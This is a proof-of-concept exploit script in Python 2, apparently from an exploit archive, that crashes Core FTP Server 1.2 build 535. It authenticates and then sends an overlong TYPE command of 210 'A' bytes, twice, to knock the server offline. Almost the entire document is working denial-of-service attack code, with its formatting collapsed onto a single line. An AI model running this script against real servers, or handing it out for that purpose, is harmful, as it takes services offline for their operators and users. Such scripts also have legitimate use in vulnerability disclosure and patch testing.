Core FTP Server 1.2 build 535 (32-bi)t – Crash (PoC)
#!/usr/bin/python import socket,sys,time def Usage(): print ("Core FTP Server Version 1.2, build 535, 32-bit - Crash P.O.C.") print ("Usage: ./coreftp_dos.py <host> <port> <username> <password>") print ("Ex: ./coreftp_dos.py 192.168.10.10 21 ftp ftp\n") if len(sys.argv) <> 5: Usage() sys.exit(1) else: host=sys.argv[1] port=sys.argv[2] user=sys.argv[3] passwd=sys.argv[4] evil = '\x41' * 210 print "[+] Trying to crash Core FTP server with " + str(len(evil)) + " buffer bytes" print "[+] Host: " + host + " Port: " + port + " User: " + user + " Pass: " + passwd print "[+] Attempting to connect to the remote Core FTP Server..." first = socket.socket(socket.AF_INET, socket.SOCK_STREAM) port=int(port) try: connect = first.connect((host, port)) except: print "[-] There was an error while trying to connect to the remote FTP Server" sys.exit(1) print "[+] Connection to remote server successfully... now trying to authenticate" first.recv(1024) first.send('USER ' + user + '\r\n') first.recv(1024) first.send('PASS ' + passwd + '\r\n') first.recv(1024) first.send('dir\r\n'); first.send('TYPE ' + evil + '\r\n') try: first.recv(1024) except: print "[-] Couldn\'t authenticate in the remote FTP server" sys.exit(1) print "[+] First buffer was sent, waiting 30 seconds to send a second time with some more bad data..." first.close() second = socket.socket(socket.AF_INET, socket.SOCK_STREAM) time.sleep(30) try: connect = second.connect((host, port)) except: print "[-] FTP Server isn\'t responding... it might had successfully crashed." sys.exit(1) second.send('USER ' + user + '\r\n') second.recv(1024) second.send('PASS ' + passwd + '\r\n') second.recv(1024) second.send('TYPE ' + evil + '\r\n') second.recv(1024) print "[+] By now, Core FTP Server should had crashed and will not accept new connections." second.close() sys.exit(0) |